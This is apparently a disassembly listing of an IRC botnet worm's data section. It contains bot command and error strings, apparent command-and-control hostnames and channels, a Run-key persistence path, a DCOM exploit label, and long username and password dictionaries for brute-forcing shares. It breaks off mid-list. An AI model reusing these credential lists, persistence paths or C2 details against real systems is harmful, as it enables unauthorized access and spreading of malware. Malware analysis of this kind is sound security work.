file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F778o ... align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C08r dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E4r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Br dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C1r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415994+2Br ; sub_415994+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aAsn445 db 'asn445',0 align 10h db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D42r ; sub_40EE72+4EDAo aDcom135_1 db 'dcom135',0 align 4 dd 100h, 3 dup(0) aBotss db 'botss',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E40o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E20o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6127o ; sub_40EE72+61F6o align 4 aSaber2_ircqfor db 'saber2.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o align 4 aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 4 byte_42F654 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F678 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F688 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 10h aBot db '[bot]-',0 ; DATA XREF: sub_415994+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6272o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120EFo ; sub_40EE72+50A0o ... align 10h aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 4 aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C8 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FECo ; "*@admin.com" off_42F6CC dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6196o ; "h4cker tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F86+28o ; sub_4162AA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F86+D4o ; sub_4162AA+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd 0 dd offset byte_43C80C dd offset byte_43C80C dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_1 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_434C30 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4289BC dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel 